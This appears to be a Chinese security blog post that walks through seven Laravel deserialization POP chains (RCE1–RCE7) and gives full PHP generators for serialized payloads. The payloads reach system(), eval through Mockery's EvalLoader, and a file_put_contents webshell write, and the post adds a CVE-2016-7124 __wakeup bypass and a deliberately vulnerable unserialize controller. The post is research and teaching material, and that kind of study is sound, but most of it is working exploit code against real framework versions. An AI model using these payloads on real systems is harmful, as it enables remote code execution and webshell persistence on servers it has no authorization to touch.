0%

Laravel RCE1-7 POP链分析

环境搭建

本地Win10+phpstudy+phpstorm+xdebug。涉及到几个点:

1.php、composer加入环境变量

将phpstudy里面的php执行路径加入环境变量,phpstudy自带的composer版本比较低,可以到composer官网下载最新版。

2.xdebug配置

​ 配置文件如下

1
2
3
4
5
6
7
8
9
10
11
12
zend_extension = E:\phpstudy_pro\Extensions\php\php7.0.9nts\ext\php_xdebug.dll
xdebug.profiler_enable=1
xdebug.profiler_enable_trigger=0
xdebug.profiler_output_dir="D:\Server\PHP\xdebug"
xdebug.trace_output_dir="D:\Server\PHP\xdebug"
xdebug.profiler_output_name="xdebug.cache.%t-%s"
xdebug.profiler_append=0
xdebug.remote_enable=1
xdebug.remote_host="localhost"
xdebug.remote_port=9001
xdebug.remote_handler="dbgp"
xdebug.idekey=PHPSTORM

3.phpstorm配置Lavarel artisan调试

打开 PhpStorm 的配置功能,搜索 Debug 打开标签页,修改 xDebug port 为 9001

Tips: 9001 是可以自由修改的,但需要和 php.ini 配置的 xdebug.remote_port 保持一致

label

label

4.Lavarel版本

Laravel5.4.xLaravel5.5.x的PHP版本要求是>=7.0.0,Laravel5.6.x、Laravel5.7.x、Laravel5.8.x的PHP版本要求是7.1.3<=版本号<8.0.0

RCE1

​ 本文分析RCE1的时候,Laravel版本采用的是5.4.30,采用composer安装。

1
2
3
4
5
6
composer create-project --prefer-dist laravel/laravel laravel5.4.30 "5.4.*"
cd laravel5.4.30\
composer install
php artisan cache:clear
php artisan make:auth
php artisan migrate

​ 数据库迁移时可能出现的问题:

1
SQLSTATE[42000]: Syntax error or access violation: 1071 Specified key was too long; max key length is 1000 bytes (SQL: alter table `users` add unique `users_email_unique`(`email`))

​ 解决办法是编辑app/Providers/AppServiceProvider.php文件,添加如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

namespace App\Providers;

use Illuminate\Support\ServiceProvider;
use Illuminate\Support\Facades\Schema;

class AppServiceProvider extends ServiceProvider
{
public function register()
{
}

public function boot()
{
Schema::defaultStringLength(191);
}
}

​ 错误原因是因为我所需要的字段长度太长了,而默认的字段长度并没有这么长。重新执行php artisan migrate即可。(可能提示某些项已经存在,那就先删除指定数据库,然后新建一个数据库)

​ 接下来创建控制器:

1
php artisan make:controller DemoController

​ 配置路由(\routes\web.php)(记得注释原来的路由):

1
2
3
4
5
6
7
use App\Http\Controllers\DemoController;

//Route::get('/', function () {
// return view('welcome');
//});

Route::get("/", "DemoController@demo");

​ 控制器(\app\Http\Controllers\DemoController.php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class DemoController extends Controller
{
public function demo()
{
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Welcome to laravel5.4.x";
}
}

​ 本地启动:php artisan serve --host=0.0.0.0

​ 访问:

label

入口类

vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php/PendingBroadcast

RCE调用类

vendor/fzaninotto/faker/src/Faker/Generator.php/Generator

__destruct入手,PendingBroadcast::__destruct()第50-59行:

1
2
3
4
5
6
7
8
9
10
    /**
* Handle the object's destruction.
*
* @return void
*/
public function __destruct()
{
$this->events->dispatch($this->event);
}
}

这里的event和events均可控,可以想到的利用方法有:控制events触发__call__callStatic方法或者控制event触发__toString方法。寻找可利用方法:同名方法dispatch或魔术方法__call__callStatic,找到Faker\GeneratorFaker\Generator::__call第277-286行:

1
2
3
4
5
6
7
8
9
10
/**
* @param string $method
* @param array $attributes
*
* @return mixed
*/
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}

然后调用当前类的format方法,Faker\Generator::format第226-229行:

1
2
3
4
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

看到敏感函数了,但是这里回调函数经过了getFormatter函数的处理,查看一下定义,Faker\Generator::getFormatter第231-249行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/**
* @param string $formatter
*
* @return Callable
*/
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);

return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

这里判断了一下$this->formatters[$formatter]是否存在,但是由于该类的成员变量全部可控,所以这个判断可以绕过。该类存在__wakeup方法,Faker\Generator::__wakeup

1
2
3
4
5
    public function __wakeup()
{
$this->formatters = [];
}
}

所以在我们调用unserialize时会触发,恰巧wakeup方法是清空我们要利用的formatters数组,所以我们需要利用CVE-2016-7124,通过修改变量个数来绕过它。该CVE的基本信息如下:

  • 存在漏洞的PHP版本: PHP5.6.25之前版本和7.0.10之前的7.x版本

  • 漏洞概述: __wakeup()魔法函数被绕过,导致执行了一些非预期效果的漏洞

  • 漏洞原理: 当对象的属性(变量)数大于实际的个数时,__wakeup()魔法函数被绕过

EXP1

本exp所在测试环境为PHP7.0.9+Laravel5.4.40。

可以看到,控制了call_user_func_array两个参数,而第二个参数是原来的$this->event经过__call之后变成了array($this->event),这意味着call_user_func_array第二个参数只能是个单元素的array。这还是能执行system的,因为system只有一个参数。最终payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $event;
protected $events;
public function __construct($events, $event){
$this->event = $event;
$this->events = $events;
}
}
}

namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters){
$this->formatters = $formatters;
}
}
}

namespace{
$generator = new Faker\Generator(array("dispatch"=>"system"));
$o = new Illuminate\Broadcasting\PendingBroadcast($generator, "dir");
$s = str_replace('"Faker\\Generator":1','"Faker\\Generator":2',serialize($o));
echo urlencode($s);
}

注:比较诡异的一点,这个payload我用在PHP7.3.9+Lavarel8.5.35的测试环境时,也能够执行成功。按理说PHP版本大于7.0.9,CVE-2016-7124无法触发。

这里有个需要注意的点,我们来看一下call_user_func_array函数的定义:

label

注意函数的第一个参数需要是callable类型的,该类型的解释如下:

label也就是说,在编写exp的时候,不能把eval传递给call_user_func_array函数,当做该函数的第一个参数的值。因为eval被排除在Callback类型之外了,传递进去会产生错误。

EXP2

本exp所在测试环境为PHP7.3.9+Laravel5.8.35。

EXP1中,如果靶机禁用了像system这种的危险函数,我们需要使用双参数的函数例如file_put_contents写shell,或者希望执行任意函数,那么上面的payload就没办法了。call_user_func_array 第一个参数是完全可控的,这意味着我们可以调用任意类对象的任意方法,那么我们找一个有危险函数的类,并且参数可控就好了。搜索寻找PhpOption/LazyOption 类中的option函数的call_user_func_array函数中间两个参数都是完全可控的,非常完美的函数。

vendor\phpoption\phpoption\src\PhpOption\LazyOption.php第153-170行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
   /**
* @return Option<T>
*/
private function option()
{
if (null === $this->option) {
/** @var mixed */
$option = call_user_func_array($this->callback, $this->arguments);
if ($option instanceof Option) {
$this->option = $option;
} else {
throw new \RuntimeException(sprintf('Expected instance of %s', Option::class));
}
}

return $this->option;
}
}

option函数不接受参数输入,但是LazyOption类其他的函数都是下面这样的,会直接调用option函数。类似如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function filter($callable)
{
return $this->option()->filter($callable);
}

public function filterNot($callable)
{
return $this->option()->filterNot($callable);
}

public function select($value)
{
return $this->option()->select($value);
}

最终payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php

namespace Faker{
class Generator
{
protected $formatters = array();
public function __construct($formatters)
{
$this->formatters = $formatters;
}
}
}

namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;

public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}

namespace PhpOption{
final class LazyOption{
private $callback;
private $arguments;
private $option;

public function __construct($callback, $arguments, $option)
{
$this->callback = $callback;
$this->arguments = $arguments;
$this->option = $option;
}

}
}


namespace{
$c = new PhpOption\LazyOption('file_put_contents', array('E:\\phpstudy_pro\\lavarel5.8.x\\shell.php', '<?php eval($_REQUEST["jrxnm"]);?>'), null);
$b = new Faker\Generator(array('dispatch'=> array($c, "filter")));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 1);
$s = str_replace('"Faker\\Generator":1','"Faker\\Generator":2',serialize($a));
echo urlencode($s);
}

RCE2

本文分析RCE2的时候,Laravel版本采用的是5.5.28,PHP版本采用的是7.0.9。

入口类

vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php/PendingBroadcast

RCE调用类

vendor/laravel/framework/src/Illuminate/Events/Dispatcher.php/Dispatcher

Events/Dispatcher.php第176-220行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/**
* Fire an event and call the listeners.
*
* @param string|object $event
* @param mixed $payload
* @param bool $halt
* @return array|null
*/
public function dispatch($event, $payload = [], $halt = false)
{
// When the given "event" is actually an object we will assume it is an event
// object and use the class as the event name and this event itself as the
// payload to the handler, which makes object based events quite simple.
list($event, $payload) = $this->parseEventAndPayload(
$event, $payload
);

if ($this->shouldBroadcast($payload)) {
$this->broadcastEvent($payload[0]);
}

$responses = [];

foreach ($this->getListeners($event) as $listener) {
$response = $listener($event, $payload);

// If a response is returned from the listener and event halting is enabled
// we will just return this response, and not call the rest of the event
// listeners. Otherwise we will add the response on the response list.
if ($halt && ! is_null($response)) {
return $response;
}

// If a boolean false is returned from a listener, we will stop propagating
// the event to any further listeners down in the chain, else we keep on
// looping through the listeners and firing every one in our sequence.
if ($response === false) {
break;
}

$responses[] = $response;
}

return $halt ? null : $responses;
}

似乎$response = $listener($event, $payload);中的参数可以控制?去构造一个system(whoami)

$event变量是来自Illuminate\Broadcasting\PendingBroadcast类的$this->event我们可以控制。

所以接下来至少的利用都要去控制$listener变量。而$listener变量是来自getListeners()方法。

Events/Dispatcher.php第274-291行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/**
* Get all of the listeners for a given event name.
*
* @param string $eventName
* @return array
*/
public function getListeners($eventName)
{
$listeners = $this->listeners[$eventName] ?? [];

$listeners = array_merge(
$listeners, $this->getWildcardListeners($eventName)
);

return class_exists($eventName, false)
? $this->addInterfaceListeners($eventName, $listeners)
: $listeners;
}

可以发现我们可以控制的参数是$this->listeners[]数组,并且这里的$eventName就是Illuminate\Broadcasting\PendingBroadcast类的$this->event为我们执行命令的参数,所以class_exists($eventName, false)为false,直接返回$listeners。然后返回dispatch函数进行foreach操作,这里我们已经可以控制$this->getListeners($event)的返回值,所以就可以控制$listener。我们来看一下system函数的定义:

label

1
2
foreach ($this->getListeners($event) as $listener) {
$response = $listener($event, $payload);

我们可以知道,执行system命令,就可以不管$payload变量,并且system函数支持2个参数。

EXP

本exp所在测试环境为PHP7.0.9+Laravel5.5.28。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;
protected $event;

function __construct($events, $parameter)
{
$this->events = $events;
$this->event = $parameter;
}
}
}
namespace Illuminate\Events
{
class Dispatcher
{
protected $listeners;

function __construct($function, $parameter)
{
$this->listeners = [
$parameter => [$function]
];
}
}
}
namespace{
$b = new Illuminate\Events\Dispatcher('system','dir');
$a = new Illuminate\Broadcasting\PendingBroadcast($b,'dir');
echo urlencode(serialize($a));
}

RCE3

入口类

vendor/fzaninotto/faker/src/Faker/Generator.php/Generator

RCE调用类

/vendor/laravel/framework/src/Illuminate/Notifications/ChannelManager.php/ChannelManager

该类继承Manager类,其中有__call方法(在挖掘的时候找到__call方法后不仅要看该类是否存在可利用的方法,其子类也要看),其实现如下:

vendor/laravel/framework/src/Illuminate/Support/Manager.php第129-139行:

1
2
3
4
5
6
7
8
9
10
11
12
    /**
* Dynamically call the default driver instance.
*
* @param string $method
* @param array $parameters
* @return mixed
*/
public function __call($method, $parameters)
{
return $this->driver()->$method(...$parameters);
}
}

跟进driver()方法,vendor/laravel/framework/src/Illuminate/Support/Manager.php第49-67行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/**
* Get a driver instance.
*
* @param string $driver
* @return mixed
*/
public function driver($driver = null)
{
$driver = $driver ?: $this->getDefaultDriver();

// If the given driver has not been created before, we will create the instances
// here and cache it so we can return it next time very quickly. If there is
// already a driver created by this name, we'll just return that instance.
if (! isset($this->drivers[$driver])) {
$this->drivers[$driver] = $this->createDriver($driver);
}

return $this->drivers[$driver];
}

查看getDefaultDriver()函数,vendor/laravel/framework/src/Illuminate/Support/Manager.php第42-47行:

1
2
3
4
5
6
/**
* Get the default driver name.
*
* @return string
*/
abstract public function getDefaultDriver();

该函数实现在子类,/vendor/laravel/framework/src/Illuminate/Notifications/ChannelManager第141-149行:

1
2
3
4
5
6
7
8
9
/**
* Get the default channel driver name.
*
* @return string
*/
public function getDefaultDriver()
{
return $this->defaultChannel;
}

defaultChannel的值是我们可控的,比如是null,然后继续回到driver方法中,this->drivers我们可控,使其进入createDriver方法,/vendor/laravel/framework/src/Illuminate/Notifications/ChannelManager第69-92行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/**
* Create a new driver instance.
*
* @param string $driver
* @return mixed
*
* @throws \InvalidArgumentException
*/
protected function createDriver($driver)
{
try {
return parent::createDriver($driver);
} catch (InvalidArgumentException $e) {
if (class_exists($driver)) {
return $this->app->make($driver);
}

throw $e;
}
}

因为这里$customCreators是我们可控的,所以使if语句成立,进入callCustomCreator方法,vendor/laravel/framework/src/Illuminate/Support/Manager.php第94-103行:

1
2
3
4
5
6
7
8
9
10
/**
* Call a custom driver creator.
*
* @param string $driver
* @return mixed
*/
protected function callCustomCreator($driver)
{
return $this->customCreators[$driver]($this->app);
}

其中参数我们都可控,最终可以RCE。

EXP

本exp所在测试环境为PHP7.0.9+Laravel5.5.28。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;

function __construct($events)
{
$this->events = $events;
}
}
}


namespace Illuminate\Notifications
{
class ChannelManager
{
protected $app;
protected $defaultChannel;
protected $customCreators;

function __construct($function, $parameter)
{
$this->app = $parameter;
$this->customCreators = ['x' => $function];
$this->defaultChannel = 'x';
}
}
}

namespace{
$b = new Illuminate\Notifications\ChannelManager('system','dir');
$a = new Illuminate\Broadcasting\PendingBroadcast($b,null);
echo urlencode(serialize($a));
}

RCE4

入口类

vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php/PendingBroadcast

RCE调用类

vendor/laravel/framework/src/Illuminate/Validation/Validator.php/Validator

PendingBroadcast::__destruct()入手,还是找魔术方法__call

vendor/laravel/framework/src/Illuminate/Validation/Validator.php第1123-1142行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    /**
* Handle dynamic calls to class methods.
*
* @param string $method
* @param array $parameters
* @return mixed
*
* @throws \BadMethodCallException
*/
public function __call($method, $parameters)
{
$rule = Str::snake(substr($method, 8));

if (isset($this->extensions[$rule])) {
return $this->callExtension($rule, $parameters);
}

throw new BadMethodCallException("Method [$method] does not exist.");
}
}

extensionsrule均可控(rule值恒为空)(Str::snake用法参考文章https://laravel.com/docs/8.x/helpers#method-snake-case)绕过条件判断不是很困难,接着跟进`callExtension`函数。

vendor/laravel/framework/src/Illuminate/Validation/Validator.php第1091-1107行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/**
* Call a custom validator extension.
*
* @param string $rule
* @param array $parameters
* @return bool|null
*/
protected function callExtension($rule, $parameters)
{
$callback = $this->extensions[$rule];

if (is_callable($callback)) {
return call_user_func_array($callback, $parameters);
} elseif (is_string($callback)) {
return $this->callClassBasedExtension($callback, $parameters);
}
}

RCE就一目了然了。

EXP

本exp所在测试环境为PHP7.0.9+Laravel5.5.28。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;
protected $event;

function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}


namespace Illuminate\Validation
{
class Validator
{
public $extensions;

function __construct($function)
{
$this->extensions = ['' => $function];
}
}
}

namespace{
$validator = new Illuminate\Validation\Validator("system");
$o = new Illuminate\Broadcasting\PendingBroadcast($validator, "dir");
echo urlencode(serialize($o));
}

RCE5

入口类

vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php/PendingBroadcast

RCE调用类

vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php

起始点还是一样,思路也差不多,找到可利用类存在dispatch方法,然后调用任意类的任意方法。这里找到src/Illuminate/Bus/Dispatcher.phpdispatch方法,vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php第64-77行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/**
* Dispatch a command to its appropriate handler.
*
* @param mixed $command
* @return mixed
*/
public function dispatch($command)
{
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}

return $this->dispatchNow($command);
}

返回值分两种情况,首先看看第一种进入dispatchToQueue方法。需要两个条件都满足,跟进commandShouldBeQueued方法。

vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php第127-136行:

1
2
3
4
5
6
7
8
9
10
/**
* Determine if the given command should be queued.
*
* @param mixed $command
* @return bool
*/
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}

说明 command也就是起始类中传入的this->event需要是ShouldQueue的实例,查看实现其接口的类。
vendor/laravel/framework/src/Illuminate/Contracts/Queue/ShouldQueue.php

1
2
3
4
5
6
7
8
<?php

namespace Illuminate\Contracts\Queue;

interface ShouldQueue
{
//
}

我们找到src/Illuminate/Broadcasting/BroadcastEvent.php,该类实现了上述接口。第24-33行:

1
2
3
4
5
6
7
8
9
10
/**
* Create a new job handler instance.
*
* @param mixed $event
* @return void
*/
public function __construct($event)
{
$this->event = $event;
}

结合dispatchToQueue函数的实现,vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php第138-161行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/**
* Dispatch a command to its appropriate handler behind a queue.
*
* @param mixed $command
* @return mixed
*
* @throws \RuntimeException
*/
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;

$queue = call_user_func($this->queueResolver, $connection);

if (! $queue instanceof Queue) {
throw new RuntimeException('Queue resolver did not return a Queue implementation.');
}

if (method_exists($command, 'queue')) {
return $command->queue($queue, $command);
}

return $this->pushCommandToQueue($queue, $command);
}

可以知道BroadcastEvent.php$event是我们可以控制的,也就是说dispatchToQueue中的$connection也是可控的。

接下来分析dispatchToQueue函数实现中,call_user_func($this->queueResolver, $connection)的第一个参数$this->queueResolver。找到一个可以实现RCE的函数,其中vendor/mockery/mockery/library/Mockery/Loader/EvalLoader.php/EvalLoader中存在eval函数,第26-36行:

1
2
3
4
5
6
7
8
9
10
11
class EvalLoader implements Loader
{
public function load(MockDefinition $definition)
{
if (class_exists($definition->getClassName(), false)) {
return;
}

eval("?>" . $definition->getCode());
}
}

call_user_func函数在第一个参数为数组的时候,第一个参数就是我们选择的类,第二个参数是类下的方法;所以这里直接去到EvalLoader类,去执行load方法从而调用到eval函数;$this->queueResolver = [new \Mockery\Loader\EvalLoader(), ‘load’];(这里需要通过无参数的构造方法传入我们想要利用的函数)。load方法里的参数必须是MockDefinition的实例,即$connection必须是MockDefinition的实例。

vendor/mockery/mockery/library/Mockery/Generator/MockDefinition.php/MockDefinition

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
/**
* Mockery
*
* LICENSE
*
* This source file is subject to the new BSD license that is bundled
* with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://github.com/padraic/mockery/blob/master/LICENSE
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to padraic@php.net so we can send you a copy immediately.
*
* @category Mockery
* @package Mockery
* @copyright Copyright (c) 2010 Pádraic Brady (http://blog.astrumfutura.com)
* @license http://github.com/padraic/mockery/blob/master/LICENSE New BSD License
*/

namespace Mockery\Generator;

class MockDefinition
{
protected $config;
protected $code;

public function __construct(MockConfiguration $config, $code)
{
if (!$config->getName()) {
throw new \InvalidArgumentException("MockConfiguration must contain a name");
}
$this->config = $config;
$this->code = $code;
}

public function getConfig()
{
return $this->config;
}

public function getClassName()
{
return $this->config->getName();
}

public function getCode()
{
return $this->code;
}
}

if (class_exists($definition->getClassName(), false))必须为false才会触发eval方法。看下getClassName函数;这里的config是可控的,所以我们直接找到一个存在getName方法并且可控该方法的类;全局搜索下找到MockConfiguration.php`可以实现。

vendor/mockery/mockery/library/Mockery/Generator/MockDefinition.php/MockDefinition第417-420行:

1
2
3
4
public function getName()
{
return $this->name;
}

因为最后是要经过class_exists函数的判断,所以我们可以直接控制其返回一个不存在的类,就会造成false从而进入eval方法;eval执行的参数getcode()返回值即code变量我们可控,进而可以完成命令执行;

EXP1

本exp所在测试环境为PHP7.0.9+Laravel5.5.28。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;

function __construct()
{
$this->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load'];
}
}
}

namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;

function __construct($evilCode)
{
$this->events = new \Illuminate\Bus\Dispatcher();
$this->event = new BroadcastEvent($evilCode);
}
}

class BroadcastEvent {
public $connection;

function __construct($evilCode)
{
$this->connection = new \Mockery\Generator\MockDefinition($evilCode);
}

}
}

namespace Mockery\Loader {
class EvalLoader {}
}

namespace Mockery\Generator {
class MockDefinition {
protected $config;
protected $code;

function __construct($evilCode)
{
$this->code = $evilCode;
$this->config = new MockConfiguration();
}
}

class MockConfiguration {
protected $name = 'abcdefg';
}
}

namespace{
$code = '<?php ' . 'phpinfo();' . ' exit; ?>';
$a = new Illuminate\Broadcasting\PendingBroadcast($code);
echo serialize($a);
echo urlencode(serialize($a));
}

EXP2

本exp所在测试环境为PHP7.0.9+Laravel5.5.28。

回头再看vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php第138-161行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/**
* Dispatch a command to its appropriate handler behind a queue.
*
* @param mixed $command
* @return mixed
*
* @throws \RuntimeException
*/
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;

$queue = call_user_func($this->queueResolver, $connection);

if (! $queue instanceof Queue) {
throw new RuntimeException('Queue resolver did not return a Queue implementation.');
}

if (method_exists($command, 'queue')) {
return $command->queue($queue, $command);
}

return $this->pushCommandToQueue($queue, $command);
}

call_user_func也是可以直接控制进行命令执行的。最终的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

namespace Illuminate\Broadcasting{

use Illuminate\Contracts\Events\Dispatcher;

class PendingBroadcast
{
protected $event;
protected $events;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}

}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace{
$c = new Illuminate\Broadcasting\BroadcastEvent('dir');
$a = new Illuminate\Bus\Dispatcher('system');
$b = new Illuminate\Broadcasting\PendingBroadcast($a,$c);
echo urlencode(serialize($b));
}

RCE6

入口类

vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php/PendingBroadcast

RCE调用类

vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php

EXP

RCE6类似RCE5,比较利用链发现RCE6只是多了vendor/laravel/framework/src/Illuminate/Support/MessageBag.php/MessageBag类的定义。查看文档可知:Laravel 中的Illuminate\Support\MessageBag是一个负责存储 、分类和返回最终用户消息的类。没太搞明白作用,调试了好几遍没看到有啥差别。

RCE7

分析这条链的Laravel版本为8.16.1

环境搭建过程如下:

1
composer create-project --prefer-dist laravel/laravel laravel "8.*"

修改composer.json文件,将laravel/framework指定版本为` “laravel/framework”: “8.16.1”。然后执行:

1
composer update

创建路由的时候,与之前的略有不同,如下:

1
Route::get('/', [DemoController::class, 'demo']);

入口类

vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php/PendingBroadcast

RCE调用类

vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php

Bus/Dispatcher.php第68-79行:

1
2
3
4
5
6
7
8
9
10
11
12
/**
* Dispatch a command to its appropriate handler.
*
* @param mixed $command
* @return mixed
*/
public function dispatch($command)
{
return $this->queueResolver && $this->commandShouldBeQueued($command)
? $this->dispatchToQueue($command)
: $this->dispatchNow($command);
}

该版本的dispatch实现和RCE5分析中dispatch略有不同,不影响利用链的构造。该版本ShouldQueue实现类又新增了一个类,也就是CallQueuedClosure类。

vendor/laravel/framework/src/Illuminate/Queue/CallQueuedClosure.php

Queue/CallQueueClosure第14-48行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class CallQueuedClosure implements ShouldQueue
{
use Batchable, Dispatchable, InteractsWithQueue, Queueable, SerializesModels;

/**
* The serializable Closure instance.
*
* @var \Illuminate\Queue\SerializableClosure
*/
public $closure;

/**
* The callbacks that should be executed on failure.
*
* @var array
*/
public $failureCallbacks = [];

/**
* Indicate if the job should be deleted when models are missing.
*
* @var bool
*/
public $deleteWhenMissingModels = true;

/**
* Create a new job instance.
*
* @param \Illuminate\Queue\SerializableClosure $closure
* @return void
*/
public function __construct(SerializableClosure $closure)
{
$this->closure = $closure;
}

这里同样也是两个参数可控,和RCE5所示大同小异。

EXP

本exp所在测试环境为PHP7.3.9+Laravel8.16.1。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php

namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;
protected $event;

public function __construct($function, $parameter)
{
$this->events = new \Illuminate\Bus\Dispatcher($function);
$this->event = new \Illuminate\Queue\CallQueuedClosure($parameter);
}
}
}

namespace Illuminate\Bus
{
class Dispatcher
{
protected $queueResolver;

public function __construct($function)
{
$this->queueResolver = $function;

}
}
}

namespace Illuminate\Queue
{
class CallQueuedClosure
{
protected $connection;

public function __construct($parameter)
{
$this->connection = $parameter;
}
}
}


namespace{
$b = new Illuminate\Broadcasting\PendingBroadcast("system","dir");
echo urlencode(serialize($b));
}